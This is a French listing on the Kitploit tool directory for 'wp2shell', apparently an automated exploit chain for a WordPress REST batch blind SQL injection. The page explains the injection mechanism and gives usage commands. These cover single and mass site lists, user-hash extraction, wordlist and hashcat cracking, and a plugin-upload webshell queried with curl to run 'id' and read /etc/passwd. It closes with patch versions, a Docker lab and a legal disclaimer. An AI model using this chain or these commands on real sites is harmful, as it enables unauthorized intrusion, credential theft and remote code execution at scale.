Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
wp2shell — Chaîne d'exploitation automatisée pour CVE-2026-63030 / CVE-2026-60137 — injection SQL aveugle non authentifiée via la confusion de routes du lot REST de WordPress. Extrait les hachages utilisateur, casse les identifiants, déploie un webshell. Prend en charge une cible unique et des listes de sites en masse. Pour des tests de sécurité autorisés uniquement. | Kitploit
Outils/GitHubGitHub/0xwhoknows/wp2shell
Attaques de Mots de PasseAnalyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionRed Teaming
GitHub0xwhoknows/wp2shell

wp2shell

Voir le dépôt
1il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Chaîne d'exploitation automatisée pour CVE-2026-63030 / CVE-2026-60137 — injection SQL aveugle non authentifiée via la confusion de routes du lot REST de WordPress. Extrait les hachages utilisateur, casse les identifiants, déploie un webshell. Prend en charge une cible unique et des listes de sites en masse. Pour des tests de sécurité autorisés uniquement.

Partager

wp2shell

Injection SQL aveugle par confusion de route du batch REST WordPress — chaîne d'exploitation automatisée.

CVE-2026-63030 / CVE-2026-60137

Versions concernéesWordPress 6.9.0 – 6.9.4 et 7.0.0 – 7.0.1
CorrectifWordPress 6.9.5 / 7.0.2
SinkSQL author__not_in via paramètre author_exclude désynchronisé
Authentification requiseAucune (SQLi non authentifiée)

Réservé aux tests de sécurité autorisés.


Comment ça fonctionne

Le point de terminaison batch de l'API REST WordPress (/wp-json/batch/v1) accepte les requêtes batch imbriquées. Un payload de désynchronisation doublement imbriqué décale les tableaux internes $matches / $validation, orientant une valeur author_exclude construite vers le SQL author__not_in sans assainissement. Cela permet une injection SQL aveugle booléenne et temporelle non authentifiée.

Chaîne d'exploitation — 4 phases :

root@kitploit:~
Phase 1  Vulnerability check     batch marker probe + optional SQL timing
Phase 2  Hash harvest            blind SQLi extracts wp_users (login + hash)
Phase 3  Authentication          wordlist attack via wp-login.php
Phase 4  Webshell deployment     plugin ZIP upload -> RCE verify

Prérequis

  • Python 3.8+
  • aiohttp
  • colorama
root@kitploit:~
pip install aiohttp colorama

Utilisation

Cible unique

root@kitploit:~
python wp2shell.py http://target.com

Liste de sites (une URL par ligne)

root@kitploit:~
python wp2shell.py sites.txt

Liste de sites + fichier de mots de passe personnalisé

root@kitploit:~
python wp2shell.py sites.txt -p pass.txt

Identifiants connus (ignorer la wordlist)

root@kitploit:~
python wp2shell.py http://target.com --user admin --password admin123

Confirmer la SQLi par temporisation

root@kitploit:~
python wp2shell.py http://target.com --confirm-sqli

Sans permaliens personnalisés

root@kitploit:~
python wp2shell.py http://target.com --rest-route

Via le proxy Burp

root@kitploit:~
python wp2shell.py http://target.com --proxy http://127.0.0.1:8080

Options


Fichiers générés

FichierContenu
creds.txthttp://target=>user:pass (texte clair si le mot de passe est trouvé, hash sinon)
webshell.txtURL du webshell actif
VULNERABLE.txtToutes les cibles où la phase 1 a confirmé la vulnérabilité

Tous les fichiers sont ouverts en mode ajout — les résultats s'accumulent au fil des exécutions.

Utilisation du webshell — ajoutez ?cmd=COMMAND à l'URL dans webshell.txt :

root@kitploit:~
# browser
http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id

# curl
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id"
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=cat+/etc/passwd"

Casse hors ligne

Si la wordlist échoue, creds.txt contient le hash extrait :

root@kitploit:~
hashcat -m 400 creds.txt wordlist.txt

Relancez ensuite avec le mot de passe trouvé :

root@kitploit:~
python wp2shell.py http://target.com --user admin --password <plaintext>

Laboratoire local (Docker)

Déploie une instance WordPress 7.0.1 vulnérable pour des tests locaux en toute sécurité.

Première exécution — construire les volumes et installer WordPress :

root@kitploit:~
docker compose up -d db wordpress
docker compose run --rm wpcli

Démarrages suivants :

root@kitploit:~
docker compose up -d db wordpress

Arrêt :

root@kitploit:~
docker compose down

Réinitialisation complète (efface toutes les données) :

root@kitploit:~
docker compose down -v

Lancer l'exploit contre le laboratoire :

root@kitploit:~
python wp2shell.py http://localhost:8080

Correctif

Mettez à jour vers WordPress 6.9.5 ou 7.0.2. Le correctif valide la route batch avant de traiter les requêtes imbriquées, empêchant la désynchronisation qui expose le sink SQL.


Légal

À utiliser uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. Toute utilisation non autorisée est illégale.

Télécharger l’outil
OptionDéfautDescription
target—URL (http://target) ou chemin vers un fichier de liste de sites
-p FILE—Fichier de liste de mots de passe (un par ligne)
--user—Ignorer la wordlist, utiliser ce nom d'utilisateur
--password—Ignorer la wordlist, utiliser ce mot de passe
--confirm-sqlioffEnvoyer une sonde de temporisation SQL active après le test de marqueur
--rest-routeoffUtiliser /?rest_route=/batch/v1 (sans permaliens personnalisés)
--sleep N3.0Délai de SLEEP() SQL en secondes
--samples N3Paires d'échantillons de temporisation pour le calcul de la médiane
--timeout N30.0Délai d'expiration des requêtes HTTP
--prefix PREFIXwp_Préfixe des tables de la base de données
--proxy URL—Proxy HTTP/HTTPS
URLhttp://localhost:8080
Administrateuradmin / admin123
Hôte MySQLdb
Utilisateur / mot de passe MySQLwpuser / wppass
Base de donnéeswordpress